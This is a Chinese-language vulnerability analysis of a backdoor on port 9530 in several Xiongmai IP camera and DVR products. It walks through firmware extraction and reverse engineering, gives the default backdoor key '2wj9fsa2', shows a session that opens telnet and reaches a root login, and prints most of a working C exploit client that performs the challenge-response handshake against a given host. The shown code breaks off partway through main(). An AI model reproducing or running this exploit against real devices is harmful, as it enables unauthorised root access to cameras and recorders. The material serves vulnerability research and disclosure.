一
漏洞信息
多款 Xiongmai 产品存在安全漏洞,该漏洞源于开放9530端口。未经身份验证的攻击者可与受害设备进行任意 Telnet 连接。以下产品和版本受到影响:AHB7008T-MH-V2、AHB7804R-ELS、AHB7804R-MH-V2、AHB7808R-MS-V2、AHB7808R-MS、AHB7808T-MS-V2、AHB7804R-LMS、HI3518E_50H10L_S39。
二
成功后门激活流程
整个身份验证过程可能类似于某种 HMAC 质询-响应身份验证,只不过它使用对称密码而不是哈希。对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES。
1.客户端打开与设备的 TCP 端口 9530 的连接,并发送OpenTelnet:OpenOnce
前缀有指示总消息长度的字节的字符串。对于以前版本的后门,此步骤是最后一步。如果执行此步骤后没有响应,则可能 telnetd 已经启动。
2.服务器(设备)用字符串应答randNum:XXXXXXXX
,其中XXXXXXXX
是 8 位随机十进制数。
3.客户端使用其预共享密钥并将加密密钥构造为接收到的随机数和 PSK 的串联。
4.客户端使用加密密钥加密随机数并在 string 之后发送randNum:
。整个消息前面带有指示消息总长度的字节。
5.服务器从文件加载相同的预共享密钥,或者如果文件丢失则/mnt/custom/TelnetOEMPasswd
使用默认密钥。2wj9fsa2
6.服务器对随机数进行加密并验证结果与客户端的字符串是否相同。成功后,服务器发送字符串verify:OK
或verify:ERROR
其他内容。
7.客户端加密 stringTelnet:OpenOnce
,在其前面添加总长度字节、CMD:
字符串并发送到服务器。
8.服务器提取并解密收到的命令。如果解密结果等于字符串,Telnet:OpenOnce
则响应Open:OK
,启用调试端口 9527 并启动 telnet 守护进程。
三
漏洞分析
设备:XMJP IPC 摄像头 型号:XM510
使用binwalk进行解压
binwalk -Me General_IPC_XM510_RA50X10-C-S_WIFIXM712.712.Nat.dss_V5.00.R02.20190430_all.bin
进行字符串搜索
grep -rnl "OpenTelnet:OpenOnce" *
找到关键文件
在 usr/bin 目录下找到 dvrvox这个可执行程序,查看文件信息:
IDA分析
Shift+F12搜索字符串OpenTelnet:OpenOnce,定位到关键代码。
程序执行流程中,在经过判断后可以执行system(“telnetd”)命令,从而开启漏洞信息中所说的9530端口,所以利用漏洞需经过程序判断流程执行这个命令。
首先程序使用socket套接字的recv函数接受数据。
接着进行第一个判断strncmp(&s[1], “OpenTelnet:OpenOnce”, 0x13u)判断开头是否为 OpenTelnet:OpenOnce。
通过第一个判断,程序首先执行get_random_bytime((char *)ranNum),根据时间戳生成八位随机数字字符串。
get_random_bytime函数
第二个判断recv_buffer中的内容是否为randNum开头的字符串。
get_key 函数的作用是返回一个 key 字符串,判断 /mnt/custom/TelnetOEMPasswd 文件是否存在,存在的话返回文件的内容(也就是密钥),不存在就返回 2wj9fsa2 字符串。
接下来是主要的encrypt加密函数,传入的参数分别为之前生成的8位随机数字以及他的长度,还有通过sprintf将key和ranNum拼接后的concatenateStr字符串及其长度。concatenateStr也就是需要加密的字符串,而key相当于程序中的 PSK 预共享密钥,也就是后门密钥。
跟进到encrypt函数中,逻辑较为复杂,可参考https://github.com/tothi/pyDes/blob/7a26fe09dc5b57b175c6439fbbf496414598a7a2/pyDes.py#L108
对于长度超过 8 字节的密钥,这种特殊的对称密码类似于 3DES-EDE2 的某些变体,对于较短的密钥则类似于简单 DES。
3DES部分代码:
#############################################################################
# Triple DES #
#############################################################################
class triple_des(_baseDes):
"""Triple DES encryption/decrytpion class
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
pyDes.des(key, [mode], [IV])
key -> Bytes containing the encryption key, must be either 16 or
24 bytes long
mode -> Optional argument for encryption type, can be either pyDes.ECB
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
Must be 8 bytes in length.
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
during all encrypt/decrypt operations done with this instance.
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
PAD_PKCS5) to use during all encrypt/decrypt operations done
with this instance.
"""
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL, hs=False):
_baseDes.__init__(self, mode, IV, pad, padmode)
self.hs = hs
self.setKey(key)
def setKey(self, key):
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
self.key_size = 24 # Use DES-EDE3 mode
if len(key) != self.key_size:
if len(key) == 16: # Use DES-EDE2 mode
self.key_size = 16
else:
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
if self.getMode() == CBC:
if not self.getIV():
# Use the first 8 bytes of the key
self._iv = key[:self.block_size]
if len(self.getIV()) != self.block_size:
raise ValueError("Invalid IV, must be 8 bytes in length")
self.__key1 = des(key[:8], self._mode, self._iv,
self._padding, self._padmode, self.hs)
self.__key2 = des(key[8:16], self._mode, self._iv,
self._padding, self._padmode, self.hs)
if self.key_size == 16:
self.__key3 = self.__key1
else:
self.__key3 = des(key[16:], self._mode, self._iv,
self._padding, self._padmode, self.hs)
_baseDes.setKey(self, key)
# Override setter methods to work on all 3 keys.
def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
_baseDes.setMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setMode(mode)
def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
_baseDes.setPadding(self, pad)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadding(pad)
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
_baseDes.setPadMode(self, mode)
for key in (self.__key1, self.__key2, self.__key3):
key.setPadMode(mode)
def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with CBC mode"""
_baseDes.setIV(self, IV)
for key in (self.__key1, self.__key2, self.__key3):
key.setIV(IV)
def encrypt(self, data, pad=None, padmode=None):
"""encrypt(data, [pad], [padmode]) -> bytes
data : bytes to be encrypted
pad : Optional argument for encryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be encrypted
with the already specified key. Data does not have to be a
multiple of 8 bytes if the padding character is supplied, or
the padmode is set to PAD_PKCS5, as bytes will then added to
ensure the be padded data is a multiple of 8 bytes.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
# Pad the data accordingly.
data = self._padData(data, pad, padmode)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
block = self.__key1.crypt(data[i:i+8], ENCRYPT)
block = self.__key2.crypt(block, DECRYPT)
block = self.__key3.crypt(block, ENCRYPT)
self.__key1.setIV(block)
self.__key2.setIV(block)
self.__key3.setIV(block)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
return ''.join(result)
else:
return bytes.fromhex('').join(result)
else:
data = self.__key1.crypt(data, ENCRYPT)
data = self.__key2.crypt(data, DECRYPT)
return self.__key3.crypt(data, ENCRYPT)
def decrypt(self, data, pad=None, padmode=None):
"""decrypt(data, [pad], [padmode]) -> bytes
data : bytes to be encrypted
pad : Optional argument for decryption padding. Must only be one byte
padmode : Optional argument for overriding the padding mode.
The data must be a multiple of 8 bytes and will be decrypted
with the already specified key. In PAD_NORMAL mode, if the
optional padding character is supplied, then the un-encrypted
data will have the padding characters removed from the end of
the bytes. This pad removal only occurs on the last 8 bytes of
the data (last data block). In PAD_PKCS5 mode, the special
padding end markers will be removed from the data after
decrypting, no pad character is required for PAD_PKCS5.
"""
ENCRYPT = des.ENCRYPT
DECRYPT = des.DECRYPT
data = self._guardAgainstUnicode(data)
if pad is not None:
pad = self._guardAgainstUnicode(pad)
if self.getMode() == CBC:
self.__key1.setIV(self.getIV())
self.__key2.setIV(self.getIV())
self.__key3.setIV(self.getIV())
i = 0
result = []
while i < len(data):
iv = data[i:i+8]
block = self.__key3.crypt(iv, DECRYPT)
block = self.__key2.crypt(block, ENCRYPT)
block = self.__key1.crypt(block, DECRYPT)
self.__key1.setIV(iv)
self.__key2.setIV(iv)
self.__key3.setIV(iv)
result.append(block)
i += 8
if _pythonMajorVersion < 3:
data = ''.join(result)
else:
data = bytes.fromhex('').join(result)
else:
data = self.__key3.crypt(data, DECRYPT)
data = self.__key2.crypt(data, ENCRYPT)
data = self.__key1.crypt(data, DECRYPT)
return self._unpadData(data, pad, padmode)
1.triple_des类继承自_baseDes,其中_baseDes是 DES 加密算法的基类,triple_des通过调用_baseDes的方法来实现加密/解密过程。
2.构造函数init初始化triple_des类的对象。构造函数接收以下参数:
3.setKey方法用于设置加密密钥。根据传入的key的长度,判断使用 DES-EDE2 还是 DES-EDE3 模式。然后创建三个des类的实例,分别用于处理三个部分的加密解密。
4.setMode、setPadding、setPadMode和setIV方法用于设置加密模式、填充字符、填充模式和初始化向量,并将设置传递给三个des实例。
5.encrypt方法用于对输入的数据进行加密。它接收以下参数:
data: 要加密的数据,必须是长度为 8 的倍数的字节数组。
pad: 可选参数,用于加密数据时对不足 8 字节的数据进行填充,必须是长度为 1 的字节数组。
padmode: 可选参数,用于指定填充模式,可以是PAD_NORMAL或PAD_PKCS5。方法首先将数据进行填充,然后根据加密模式进行加密,最后返回加密后的数据。
6.decrypt方法用于对输入的数据进行解密。它接收以下参数:
7.注意:这里的des类指的是之前提到的单独的 DES 加密算法类,而不是 Triple DES 的类。Triple DES 类在内部使用了三个单独的 DES 加密实例来完成加密和解密过程。
参考此代码写出具体的加密算法,将加密结果拼接在randNum:字符串后面
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
{
uint uVar2;
int currentBlockNumber;
int blocksCount;
if (((result != (char *)0x0 && data != (char *)0x0) &&
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_size);
blocksCount = (int)(data_len + 7) >> 3;
uVar2 = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)uVar2 < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
uVar2 = uVar2 + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (currentBlockNumber < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
currentBlockNumber = currentBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}
之后经判断输出verify:OK
最后再次判断接收到的字符串开头是否为CMD,这里的 dencrypt对应上面的加密算法,判断解密后的字符串是否为“Telnet:OpenOnce” ,也就是只需将这个字符串经过相同的加密算法即可,从而执行 system(“telnetd”) 函数,开启后门。
一旦 telnet 守护进程激活,可以用以下登录名/密码对之一:
这些密码可以从固件中恢复,也可以通过/etc/passwd
文件中的哈希值进行暴力破解。
四
测试漏洞
最常见的 PSK 是默认值之一:2wj9fsa2
会话示例:
$ telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
$ telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^]'.
LocalHost login: root
Password:
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
typedef unsigned char byte;
typedef unsigned int uint;
byte state[2048] = {0};
byte datum[] = {
0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};
void init_cipher_offset_vector(byte *dst,byte *src,int size)
{
int i;
i = 0;
while (i < size) {
dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
i = i + 1;
}
return;
}
void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)
{
int i;
i = 0;
while (i < (int)size) {
state[i] = src[(uint)offset_vector[i] - 1];
i = i + 1;
}
memcpy(dst,state,size);
return;
}
void cipher_memcpy_shuffle(void *dst,size_t size)
{
memcpy(state,dst,size);
memcpy(dst,(void *)(dst + size),0x1c - size);
memcpy((void *)(dst + (0x1c - size)),state,size);
return;
}
void init_cipher_state(void *dst,void *src)
{
byte current_byte;
int i;
init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
i = 0;
do {
current_byte = (datum + 0x310)[i];
i = i + 1;
cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
dst = (byte *)dst + 0x30;
} while (i != 0x10);
return;
}
void cipher_xor(byte *data,byte *key,int size)
{
int i;
i = 0;
while (i < size) {
data[i] = key[i] ^ data[i];
i = i + 1;
}
return;
}
void prepare_key(void *key,size_t key_size)
{
size_t __n;
memset(state + 0x1d0,0,0x10);
__n = key_size;
if (0xf < (int)key_size) {
__n = 0x10;
}
memcpy(state + 0x1d0,key,__n);
init_cipher_state(state + 0x1e0,state + 0x1d0);
if (8 < (int)key_size) {
init_cipher_state(state + 0x4e0,state + 0x1d8);
}
*(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
return;
}
void cipher_shuffle(byte *dst,byte *src)
{
byte *caretPtr;
int iVar1;
byte *ptr;
int i;
apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
cipher_xor(state + 0x100,src,0x30);
ptr = state + 0x100;
i = 0;
do {
iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
caretPtr = dst + i;
i = i + 4;
init_cipher_offset_vector
(caretPtr,datum + 0x30 +
(uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
iVar1 * 0x10,4);
ptr = ptr + 6;
} while (i != 0x20);
apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
return;
}
void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)
{
uint i;
byte *backward_ov_ptr;
byte *forward_ov_ptr;
int iVar3;
init_cipher_offset_vector(state + 0x130,data,0x40);
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
if (direction == 0) {
forward_ov_ptr = offset_vector + 0x300;
do {
memcpy(state + 0x170,state + 0x150,0x20);
cipher_shuffle(state + 0x150,offset_vector);
cipher_xor(state + 0x150,state + 0x130,0x20);
memcpy(state + 0x130, state + 0x170, 0x20);
offset_vector = offset_vector + 0x30;
} while (offset_vector != forward_ov_ptr);
}
else {
backward_ov_ptr = offset_vector + 0x2d0;
do {
memcpy(state + 0x170,state + 0x130,0x20);
cipher_shuffle(state + 0x130,backward_ov_ptr);
cipher_xor(state + 0x130,state + 0x150,0x20);
backward_ov_ptr -= 0x30;
memcpy(state + 0x150,state + 0x170,0x20);
} while (backward_ov_ptr != offset_vector + -0x30);
}
apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
memset(result,0,8);
i = 0;
do {
result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
i = i + 1;
} while (i != 0x40);
return;
}
int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)
{
uint short_key_iter;
int curBlockNumber;
int blockCount;
if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
&& ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_len);
blockCount = (int)(data_len + 7) >> 3;
short_key_iter = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)short_key_iter < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
short_key_iter = short_key_iter + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (curBlockNumber < blockCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
curBlockNumber = curBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}
int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)
{
uint uVar2;
int currentBlockNumber;
int blocksCount;
if (((result != (char *)0x0 && data != (char *)0x0) &&
(currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
prepare_key(key,key_size);
blocksCount = (int)(data_len + 7) >> 3;
uVar2 = *(state + 0x7e0);
if (*(state + 0x7e0) == 0) {
while ((int)uVar2 < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
uVar2 = uVar2 + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
else {
while (currentBlockNumber < blocksCount) {
cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
currentBlockNumber = currentBlockNumber + 1;
result = (char *)((byte *)result + 8);
data = (char *)((byte *)data + 8);
}
}
return 0;
}
return -1;
}
void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
{
unsigned char * pin = in;
const char * hex = "0123456789ABCDEF";
char * pout = out;
for(; pin < in+insz; pout +=3, pin++){
pout[0] = hex[(*pin>>4) & 0xF];
pout[1] = hex[ *pin & 0xF];
pout[2] = ':';
if (pout + 3 - out > outsz){
/* Better to truncate output string than overflow buffer */
/* it would be still better to either return a status */
/* or ensure the target buffer is large enough and it never happen */
break;
}
}
pout[-1] = 0;
}
char netbuf[4096];
#define PADDED(X) (((X + 7) / 8) * 8)
#define PORT 9530
#define BUFSIZE sizeof(netbuf)
#define CMD_FIRST "OpenTelnet:OpenOnce"
#define CHALLENGE_PROLOGUE "randNum:"
#define VERIFY_OK "verify:OK"
#define CMD_FINAL "CMD:"
#define FINAL_PAYLOAD "Telnet:OpenOnce"
#define OPEN_OK "Open:OK"
ssize_t send_str(int sockfd, char *str, size_t len) {
if (len > 0xFE) {
return -1;
}
char buf[len+1];
buf[0] = len + 1;
memcpy(buf + 1, str, len);
return send(sockfd, buf, len + 1, 0);
}
int main(int argc, char* argv[]) {
int sockfd, numbytes;
struct hostent *he;
struct sockaddr_in their_addr;
if (argc != 3) {
fprintf(stderr, "Usage: %s <host> <PSK>n", argv[0]);
return 2;
}
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
herror("gethostbyname");
return 1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
return 1;
}
their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(PORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
if (connect(sockfd, (struct sockaddr *)&their_addr,
sizeof(struct sockaddr)) == -1) {
perror("connect");
return 1;
}
if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
perror("send");
return 1;
}
printf("Sent %s command.n", CMD_FIRST);
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
fprintf(stderr, "No challenge received.n");
return 3;
}
char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
printf("challenge=%sn", challengeStr);
char encryptedRandomSeed[PADDED(challengeLen)];
encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
perror("send");
return 1;
}
bzero(netbuf, BUFSIZE);
if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
perror("recv");
return 1;
}
puts(netbuf);
